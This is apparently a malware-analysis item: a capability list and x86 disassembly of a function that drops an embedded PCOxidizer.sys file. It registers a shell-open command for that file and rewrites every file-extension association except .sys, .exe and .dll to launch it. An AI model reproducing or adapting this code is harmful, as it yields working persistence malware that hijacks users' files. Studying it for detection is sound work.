Function at 0x401ac0
Capabilities:
Contain obfuscated stackstrings
Create directory
Persist via default file association registry key
Query environment variable
Query or enumerate registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x124], 0x104
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x22c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x22c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sSystem32
lea eax, [ebp - 0x330]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x330]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sdriversPCOxidizer
lea eax, [ebp - 0x434]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x434]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sPCOxidizer.sys
lea eax, [ebp - 0x538]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x434]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x128]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.pcoxidizer_shellopencommand
mov dword [esp], 0x80000000
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Attemped_to_create_HKCR_registry_key._LSTATUS___ld_n
call sym._printf
mov dword [ebp - 0x573], 0x575c3a43
mov dword [ebp - 0x56f], 0x6f646e69
mov dword [ebp - 0x56b], 0x535c7377
mov dword [ebp - 0x567], 0x65747379
mov dword [ebp - 0x563], 0x5c32336d
mov dword [ebp - 0x55f], 0x76697264
mov dword [ebp - 0x55b], 0x5c737265
mov dword [ebp - 0x557], 0x784f4350
mov dword [ebp - 0x553], 0x7a696469
mov dword [ebp - 0x54f], 0x505c7265
mov dword [ebp - 0x54b], 0x69784f43
mov dword [ebp - 0x547], 0x657a6964
mov dword [ebp - 0x543], 0x79732e72
mov dword [ebp - 0x53f], 0x25222073
mov word [ebp - 0x53b], 0x2231
mov byte [ebp - 0x539], 0
mov eax, dword [ebp - 0x128]
mov dword [esp + 0x14], 0x3b
lea edx, [ebp - 0x573]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Attemped_to_create_HKCR_registry_value._LSTATUS___ld_n
call sym._printf
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 4], 0x4132bf
lea eax, [ebp - 0x538]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xdf8e
mov dword [esp + 4], 1
mov dword [esp], 0x404020
call sym._fwrite
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4132c2
mov dword [esp], 0x80000000
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x18], eax
jmp 0x401e69
cmp dword [ebp - 0x18], 0
jne 0x401e5b
mov dword [esp + 4], str..sys
lea eax, [ebp - 0x120]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401e5b
mov dword [esp + 4], str..exe
lea eax, [ebp - 0x120]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401e5b
mov dword [esp + 4], str..dll
lea eax, [ebp - 0x120]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401e5b
mov dword [ebp - 0x57e], 0x786f6370
mov dword [ebp - 0x57a], 0x7a696469
mov word [ebp - 0x576], 0x7265
mov byte [ebp - 0x574], 0
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x584]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea edx, [ebp - 0x120]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x584]
mov dword [esp + 0x14], 0xb
lea edx, [ebp - 0x57e]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
add dword [ebp - 0xc], 1
mov dword [ebp - 0x124], 0x104
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x124]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x120]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call eax
sub esp, 0x20
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x103
jne 0x401d62
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
nop
leave
ret